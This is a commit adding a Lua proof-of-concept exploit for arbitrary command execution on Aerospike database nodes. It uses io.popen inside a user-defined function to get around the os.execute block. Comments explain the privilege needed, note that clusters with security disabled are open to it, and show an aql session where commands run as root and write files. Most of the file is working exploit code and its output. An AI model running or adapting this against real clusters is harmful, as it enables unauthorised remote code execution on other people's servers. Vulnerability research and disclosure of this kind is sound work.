Initial commit

This commit is contained in:
2026-02-18 04:51:29 -08:00
commit 60be5446a1
19 changed files with 30740 additions and 0 deletions

69
poc.lua Normal file
View File

@@ -0,0 +1,69 @@
---------------------------------------------
---- POC for executing code on aerospike nodes.
---- Can be run interactively (below), or with python-based POC.
---- Works for users with the read-write-udf privilege,
---- or just if you come across a cluster with security
---- disabled :)
----
---- Aerospike blocks os.execute() in lua udfs, but does
---- not block io.popen.
----
---- For the POC, we create a single row set to work with.
---- Registering the module will copy to all nodes in the
---- cluster. Running the POC on sufficiently large
---- dataset would eventually execute commands on each node.
---------------------------------------------
-- aql> insert into test.k9uf2mx90p (PK, x) values ('1', "A");
-- OK, 1 record affected.
-- aql> register module '/share/poc.lua'
-- OK, 1 module added.
-- aql> execute poc.runCMD("whoami") on test.k9uf2mx90p where PK='1'
-- +---------+
-- | runCMD |
-- +---------+
-- | "root
-- " |
-- +---------+
-- 1 row in set (0.001 secs)
-- OK
-- aql>
-- aql>
-- aql> execute poc.runCMD("echo codexecution > /tmp/afile") on test.k9uf2mx90p where PK='1'
-- +--------+
-- | runCMD |
-- +--------+
-- | "" |
-- +--------+
-- 1 row in set (0.002 secs)
-- OK
-- aql> execute poc.runCMD("cat /tmp/afile") on test.k9uf2mx90p where PK='1'
-- +-----------------+
-- | runCMD |
-- +-----------------+
-- | "codexecution
-- " |
-- +-----------------+
-- 1 row in set (0.000 secs)
-- OK
---------------------------------------------
function runCMD(rec, cmd)
local outtext = ""
local phandle = io.popen(cmd)
io.input(phandle)
local foo = io.lines()
for f in foo do
outtext = outtext .. f .. "\n"
end
return outtext
end